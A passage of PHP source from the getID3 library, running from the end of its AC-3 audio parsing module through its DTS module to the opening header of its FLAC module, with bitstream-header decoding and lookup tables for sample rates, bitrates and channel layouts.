3; $thisfile_ac3_raw_bsi['flags']['extpgmlscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) { $thisfile_ac3_raw_bsi['extpgmlscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['extpgmcscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) { $thisfile_ac3_raw_bsi['extpgmcscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['extpgmrscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) { $thisfile_ac3_raw_bsi['extpgmrscl'] = $this->readHeaderBSI(4); } $thisfile_ac3_raw_bsi['flags']['extpgmlsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) { $thisfile_ac3_raw_bsi['extpgmlsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['extpgmrsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) { $thisfile_ac3_raw_bsi['extpgmrsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) { $thisfile_ac3_raw_bsi['extpgmlfescl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['dmixscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) { $thisfile_ac3_raw_bsi['dmixscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['addch'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['addch']) { $thisfile_ac3_raw_bsi['flags']['extpgmaux1scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) { $thisfile_ac3_raw_bsi['extpgmaux1scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } $thisfile_ac3_raw_bsi['flags']['extpgmaux2scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) { $thisfile_ac3_raw_bsi['extpgmaux2scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; } } } $thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) { $thisfile_ac3_raw_bsi['spchdat'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; $thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) { $thisfile_ac3_raw_bsi['spchdat1'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; $thisfile_ac3_raw_bsi['spchan1att'] = $this->readHeaderBSI(2); $mixdefbitsread += 2; $thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) { $thisfile_ac3_raw_bsi['spchdat2'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; $thisfile_ac3_raw_bsi['spchan2att'] = $this->readHeaderBSI(3); $mixdefbitsread += 3; } } } $mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread; $mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0); $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI($mixdata_bits); $thisfile_ac3_raw_bsi['mixdatafill'] = $this->readHeaderBSI($mixdata_fill); unset($mixdefbitsread, $mixdata_bits, $mixdata_fill); } if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source $thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['paninfo']) { $thisfile_ac3_raw_bsi['panmean'] = $this->readHeaderBSI(8); $thisfile_ac3_raw_bsi['paninfo'] = $this->readHeaderBSI(6); } if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) $thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) { $thisfile_ac3_raw_bsi['panmean2'] = $this->readHeaderBSI(8); $thisfile_ac3_raw_bsi['paninfo2'] = $this->readHeaderBSI(6); } } } $thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) { $thisfile_ac3_raw_bsi['blkmixcfginfo'][0] = $this->readHeaderBSI(5); } else { for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) { $thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information $thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk] = $this->readHeaderBSI(5); } } } } } } $thisfile_ac3_raw_bsi['flags']['infomdat'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['flags']['copyrightb'] = (bool) $this->readHeaderBSI(1); $thisfile_ac3_raw_bsi['flags']['origbs'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['acmod'] == 2) { // if in 2/0 mode $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); $thisfile_ac3_raw_bsi['dheadphonmod'] = $this->readHeaderBSI(2); } if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { // if both surround channels exist $thisfile_ac3_raw_bsi['dsurexmod'] = $this->readHeaderBSI(2); } $thisfile_ac3_raw_bsi['flags']['audprodi'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['audprodi']) { $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); $thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1); } if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) $thisfile_ac3_raw_bsi['flags']['audprodi2'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) { $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); $thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1); } } if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate $thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1); } } if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { // if both surround channels exist $thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1); } if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { // if bit stream converted from AC-3 if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe $thisfile_ac3_raw_bsi['flags']['blkid'] = 1; } else { $thisfile_ac3_raw_bsi['flags']['blkid'] = (bool) $this->readHeaderBSI(1); } if ($thisfile_ac3_raw_bsi['flags']['blkid']) { $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); } } $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { $thisfile_ac3_raw_bsi['addbsil'] = $this->readHeaderBSI(6); $thisfile_ac3_raw_bsi['addbsi'] = $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8); } } else { $this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.'); unset($info['ac3']); return false; } if (isset($thisfile_ac3_raw_bsi['fscod2'])) { $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']); } else { $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']); } if ($thisfile_ac3_raw_bsi['fscod'] <= 3) { $info['audio']['sample_rate'] = $thisfile_ac3['sample_rate']; } else { $this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']); } if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) { $thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']); $thisfile_ac3['bitrate'] = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']); } elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) { // this isn't right, but it's (usually) close, roughly 5% less than it should be. // but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know! $thisfile_ac3['bitrate'] = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048. // kludge-fix to make it approximately the expected value, still not "right": $thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000; } $info['audio']['bitrate'] = $thisfile_ac3['bitrate']; if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) { $thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']); } $ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']); foreach($ac3_coding_mode as $key => $value) { $thisfile_ac3[$key] = $value; } switch ($thisfile_ac3_raw_bsi['acmod']) { case 0: case 1: $info['audio']['channelmode'] = 'mono'; break; case 3: case 4: $info['audio']['channelmode'] = 'stereo'; break; default: $info['audio']['channelmode'] = 'surround'; break; } $info['audio']['channels'] = $thisfile_ac3['num_channels']; $thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon']; if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { $info['audio']['channels'] .= '.1'; } $thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']); $thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB'; return true; } /** * @param int $length * * @return int */ private function readHeaderBSI($length) { $data = substr($this->AC3header['bsi'], $this->BSIoffset, $length); $this->BSIoffset += $length; return bindec($data); } /** * @param int $fscod * * @return int|string|false */ public static function sampleRateCodeLookup($fscod) { static $sampleRateCodeLookup = array( 0 => 48000, 1 => 44100, 2 => 32000, 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. ); return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false); } /** * @param int $fscod2 * * @return int|string|false */ public static function sampleRateCodeLookup2($fscod2) { static $sampleRateCodeLookup2 = array( 0 => 24000, 1 => 22050, 2 => 16000, 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. ); return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false); } /** * @param int $bsmod * @param int $acmod * * @return string|false */ public static function serviceTypeLookup($bsmod, $acmod) { static $serviceTypeLookup = array(); if (empty($serviceTypeLookup)) { for ($i = 0; $i <= 7; $i++) { $serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)'; $serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)'; $serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)'; $serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)'; $serviceTypeLookup[4][$i] = 'associated service: dialogue (D)'; $serviceTypeLookup[5][$i] = 'associated service: commentary (C)'; $serviceTypeLookup[6][$i] = 'associated service: emergency (E)'; } $serviceTypeLookup[7][1] = 'associated service: voice over (VO)'; for ($i = 2; $i <= 7; $i++) { $serviceTypeLookup[7][$i] = 'main audio service: karaoke'; } } return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false); } /** * @param int $acmod * * @return array|false */ public static function audioCodingModeLookup($acmod) { // array(channel configuration, # channels (not incl LFE), channel order) static $audioCodingModeLookup = array ( 0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'), 1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'), 2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'), 3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'), 4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'), 5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'), 6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'), 7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'), ); return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false); } /** * @param int $cmixlev * * @return int|float|string|false */ public static function centerMixLevelLookup($cmixlev) { static $centerMixLevelLookup; if (empty($centerMixLevelLookup)) { $centerMixLevelLookup = array( 0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB) 1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB) 2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB) 3 => 'reserved' ); } return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false); } /** * @param int $surmixlev * * @return int|float|string|false */ public static function surroundMixLevelLookup($surmixlev) { static $surroundMixLevelLookup; if (empty($surroundMixLevelLookup)) { $surroundMixLevelLookup = array( 0 => pow(2, -3.0 / 6), 1 => pow(2, -6.0 / 6), 2 => 0, 3 => 'reserved' ); } return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false); } /** * @param int $dsurmod * * @return string|false */ public static function dolbySurroundModeLookup($dsurmod) { static $dolbySurroundModeLookup = array( 0 => 'not indicated', 1 => 'Not Dolby Surround encoded', 2 => 'Dolby Surround encoded', 3 => 'reserved' ); return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false); } /** * @param int $acmod * @param bool $lfeon * * @return array */ public static function channelsEnabledLookup($acmod, $lfeon) { $lookup = array( 'ch1'=>($acmod == 0), 'ch2'=>($acmod == 0), 'left'=>($acmod > 1), 'right'=>($acmod > 1), 'center'=>(bool) ($acmod & 0x01), 'surround_mono'=>false, 'surround_left'=>false, 'surround_right'=>false, 'lfe'=>$lfeon); switch ($acmod) { case 4: case 5: $lookup['surround_mono'] = true; break; case 6: case 7: $lookup['surround_left'] = true; $lookup['surround_right'] = true; break; } return $lookup; } /** * @param int $compre * * @return float|int */ public static function heavyCompression($compre) { // The first four bits indicate gain changes in 6.02dB increments which can be // implemented with an arithmetic shift operation. The following four bits // indicate linear gain changes, and require a 5-bit multiply. // We will represent the two 4-bit fields of compr as follows: // X0 X1 X2 X3 . Y4 Y5 Y6 Y7 // The meaning of the X values is most simply described by considering X to represent a 4-bit // signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The // following table shows this in detail. // Meaning of 4 msb of compr // 7 +48.16 dB // 6 +42.14 dB // 5 +36.12 dB // 4 +30.10 dB // 3 +24.08 dB // 2 +18.06 dB // 1 +12.04 dB // 0 +6.02 dB // -1 0 dB // -2 -6.02 dB // -3 -12.04 dB // -4 -18.06 dB // -5 -24.08 dB // -6 -30.10 dB // -7 -36.12 dB // -8 -42.14 dB $fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT); if ($fourbit[0] == '1') { $log_gain = -8 + bindec(substr($fourbit, 1)); } else { $log_gain = bindec(substr($fourbit, 1)); } $log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2); // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to // be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can // represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain // changes from -0.28 dB to -6.02 dB. $lin_gain = (16 + ($compre & 0x0F)) / 32; // The combination of X and Y values allows compr to indicate gain changes from // 48.16 - 0.28 = +47.89 dB, to // -42.14 - 6.02 = -48.16 dB. return $log_gain - $lin_gain; } /** * @param int $roomtyp * * @return string|false */ public static function roomTypeLookup($roomtyp) { static $roomTypeLookup = array( 0 => 'not indicated', 1 => 'large room, X curve monitor', 2 => 'small room, flat monitor', 3 => 'reserved' ); return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false); } /** * @param int $frmsizecod * @param int $fscod * * @return int|false */ public static function frameSizeLookup($frmsizecod, $fscod) { // LSB is whether padding is used or not $padding = (bool) ($frmsizecod & 0x01); $framesizeid = ($frmsizecod & 0x3E) >> 1; static $frameSizeLookup = array(); if (empty($frameSizeLookup)) { $frameSizeLookup = array ( 0 => array( 128, 138, 192), // 32 kbps 1 => array( 160, 174, 240), // 40 kbps 2 => array( 192, 208, 288), // 48 kbps 3 => array( 224, 242, 336), // 56 kbps 4 => array( 256, 278, 384), // 64 kbps 5 => array( 320, 348, 480), // 80 kbps 6 => array( 384, 416, 576), // 96 kbps 7 => array( 448, 486, 672), // 112 kbps 8 => array( 512, 556, 768), // 128 kbps 9 => array( 640, 696, 960), // 160 kbps 10 => array( 768, 834, 1152), // 192 kbps 11 => array( 896, 974, 1344), // 224 kbps 12 => array(1024, 1114, 1536), // 256 kbps 13 => array(1280, 1392, 1920), // 320 kbps 14 => array(1536, 1670, 2304), // 384 kbps 15 => array(1792, 1950, 2688), // 448 kbps 16 => array(2048, 2228, 3072), // 512 kbps 17 => array(2304, 2506, 3456), // 576 kbps 18 => array(2560, 2786, 3840) // 640 kbps ); } $paddingBytes = 0; if (($fscod == 1) && $padding) { // frame lengths are padded by 1 word (16 bits) at 44100 // (fscode==1) means 44100Hz (see sampleRateCodeLookup) $paddingBytes = 2; } return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false); } /** * @param int $frmsizecod * * @return int|false */ public static function bitrateLookup($frmsizecod) { // LSB is whether padding is used or not $padding = (bool) ($frmsizecod & 0x01); $framesizeid = ($frmsizecod & 0x3E) >> 1; static $bitrateLookup = array( 0 => 32000, 1 => 40000, 2 => 48000, 3 => 56000, 4 => 64000, 5 => 80000, 6 => 96000, 7 => 112000, 8 => 128000, 9 => 160000, 10 => 192000, 11 => 224000, 12 => 256000, 13 => 320000, 14 => 384000, 15 => 448000, 16 => 512000, 17 => 576000, 18 => 640000, ); return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false); } /** * @param int $numblkscod * * @return int|false */ public static function blocksPerSyncFrame($numblkscod) { static $blocksPerSyncFrameLookup = array( 0 => 1, 1 => 2, 2 => 3, 3 => 6, ); return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false); } } ID3/module.audio.dts.php000064400000025206151202620270011014 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.dts.php // // module for analyzing DTS Audio files // // dependencies: NONE // // // ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } /** * @tutorial http://wiki.multimedia.cx/index.php?title=DTS */ class getid3_dts extends getid3_handler { /** * Default DTS syncword used in native .cpt or .dts formats. */ const syncword = "\x7F\xFE\x80\x01"; /** * @var int */ private $readBinDataOffset = 0; /** * Possible syncwords indicating bitstream encoding. */ public static $syncwords = array( 0 => "\x7F\xFE\x80\x01", // raw big-endian 1 => "\xFE\x7F\x01\x80", // raw little-endian 2 => "\x1F\xFF\xE8\x00", // 14-bit big-endian 3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $info['fileformat'] = 'dts'; $this->fseek($info['avdataoffset']); $DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes // check syncword $sync = substr($DTSheader, 0, 4); if (($encoding = array_search($sync, self::$syncwords)) !== false) { $info['dts']['raw']['magic'] = $sync; $this->readBinDataOffset = 32; } elseif ($this->isDependencyFor('matroska')) { // Matroska contains DTS without syncword encoded as raw big-endian format $encoding = 0; $this->readBinDataOffset = 0; } else { unset($info['fileformat']); return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"'); } // decode header $fhBS = ''; for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) { switch ($encoding) { case 0: // raw big-endian $fhBS .= getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ); break; case 1: // raw little-endian $fhBS .= getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))); break; case 2: // 14-bit big-endian $fhBS .= substr(getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ), 2, 14); break; case 3: // 14-bit little-endian $fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14); break; } } $info['dts']['raw']['frame_type'] = $this->readBinData($fhBS, 1); $info['dts']['raw']['deficit_samples'] = $this->readBinData($fhBS, 5); $info['dts']['flags']['crc_present'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['pcm_sample_blocks'] = $this->readBinData($fhBS, 7); $info['dts']['raw']['frame_byte_size'] = $this->readBinData($fhBS, 14); $info['dts']['raw']['channel_arrangement'] = $this->readBinData($fhBS, 6); $info['dts']['raw']['sample_frequency'] = $this->readBinData($fhBS, 4); $info['dts']['raw']['bitrate'] = $this->readBinData($fhBS, 5); $info['dts']['flags']['embedded_downmix'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['dynamicrange'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['timestamp'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['auxdata'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['hdcd'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['extension_audio'] = $this->readBinData($fhBS, 3); $info['dts']['flags']['extended_coding'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['lfe_effects'] = $this->readBinData($fhBS, 2); $info['dts']['flags']['predictor_history'] = (bool) $this->readBinData($fhBS, 1); if ($info['dts']['flags']['crc_present']) { $info['dts']['raw']['crc16'] = $this->readBinData($fhBS, 16); } $info['dts']['flags']['mri_perfect_reconst'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['encoder_soft_version'] = $this->readBinData($fhBS, 4); $info['dts']['raw']['copy_history'] = $this->readBinData($fhBS, 2); $info['dts']['raw']['bits_per_sample'] = $this->readBinData($fhBS, 2); $info['dts']['flags']['surround_es'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['front_sum_diff'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['surround_sum_diff'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['dialog_normalization'] = $this->readBinData($fhBS, 4); $info['dts']['bitrate'] = self::bitrateLookup($info['dts']['raw']['bitrate']); $info['dts']['bits_per_sample'] = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']); $info['dts']['sample_rate'] = self::sampleRateLookup($info['dts']['raw']['sample_frequency']); $info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']); $info['dts']['flags']['lossless'] = (($info['dts']['raw']['bitrate'] == 31) ? true : false); $info['dts']['bitrate_mode'] = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr'); $info['dts']['channels'] = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']); $info['dts']['channel_arrangement'] = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']); $info['audio']['dataformat'] = 'dts'; $info['audio']['lossless'] = $info['dts']['flags']['lossless']; $info['audio']['bitrate_mode'] = $info['dts']['bitrate_mode']; $info['audio']['bits_per_sample'] = $info['dts']['bits_per_sample']; $info['audio']['sample_rate'] = $info['dts']['sample_rate']; $info['audio']['channels'] = $info['dts']['channels']; $info['audio']['bitrate'] = $info['dts']['bitrate']; if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) { $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8); if (($encoding == 2) || ($encoding == 3)) { // 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate $info['playtime_seconds'] *= (14 / 16); } } return true; } /** * @param string $bin * @param int $length * * @return int */ private function readBinData($bin, $length) { $data = substr($bin, $this->readBinDataOffset, $length); $this->readBinDataOffset += $length; return bindec($data); } /** * @param int $index * * @return int|string|false */ public static function bitrateLookup($index) { static $lookup = array( 0 => 32000, 1 => 56000, 2 => 64000, 3 => 96000, 4 => 112000, 5 => 128000, 6 => 192000, 7 => 224000, 8 => 256000, 9 => 320000, 10 => 384000, 11 => 448000, 12 => 512000, 13 => 576000, 14 => 640000, 15 => 768000, 16 => 960000, 17 => 1024000, 18 => 1152000, 19 => 1280000, 20 => 1344000, 21 => 1408000, 22 => 1411200, 23 => 1472000, 24 => 1536000, 25 => 1920000, 26 => 2048000, 27 => 3072000, 28 => 3840000, 29 => 'open', 30 => 'variable', 31 => 'lossless', ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|string|false */ public static function sampleRateLookup($index) { static $lookup = array( 0 => 'invalid', 1 => 8000, 2 => 16000, 3 => 32000, 4 => 'invalid', 5 => 'invalid', 6 => 11025, 7 => 22050, 8 => 44100, 9 => 'invalid', 10 => 'invalid', 11 => 12000, 12 => 24000, 13 => 48000, 14 => 'invalid', 15 => 'invalid', ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|false */ public static function bitPerSampleLookup($index) { static $lookup = array( 0 => 16, 1 => 20, 2 => 24, 3 => 24, ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|false */ public static function numChannelsLookup($index) { switch ($index) { case 0: return 1; case 1: case 2: case 3: case 4: return 2; case 5: case 6: return 3; case 7: case 8: return 4; case 9: return 5; case 10: case 11: case 12: return 6; case 13: return 7; case 14: case 15: return 8; } return false; } /** * @param int $index * * @return string */ public static function channelArrangementLookup($index) { static $lookup = array( 0 => 'A', 1 => 'A + B (dual mono)', 2 => 'L + R (stereo)', 3 => '(L+R) + (L-R) (sum-difference)', 4 => 'LT + RT (left and right total)', 5 => 'C + L + R', 6 => 'L + R + S', 7 => 'C + L + R + S', 8 => 'L + R + SL + SR', 9 => 'C + L + R + SL + SR', 10 => 'CL + CR + L + R + SL + SR', 11 => 'C + L + R+ LR + RR + OV', 12 => 'CF + CR + LF + RF + LR + RR', 13 => 'CL + C + CR + L + R + SL + SR', 14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2', 15 => 'CL + C+ CR + L + R + SL + S + SR', ); return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined'); } /** * @param int $index * @param int $version * * @return int|false */ public static function dialogNormalization($index, $version) { switch ($version) { case 7: return 0 - $index; case 6: return 0 - 16 - $index; } return false; } } ID3/module.audio.flac.php000064400000046325151202620270011134 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.flac.php // // module for analyzing FLAC and OggFLAC audio files // // dependencies: module.audio.ogg.php // // /// 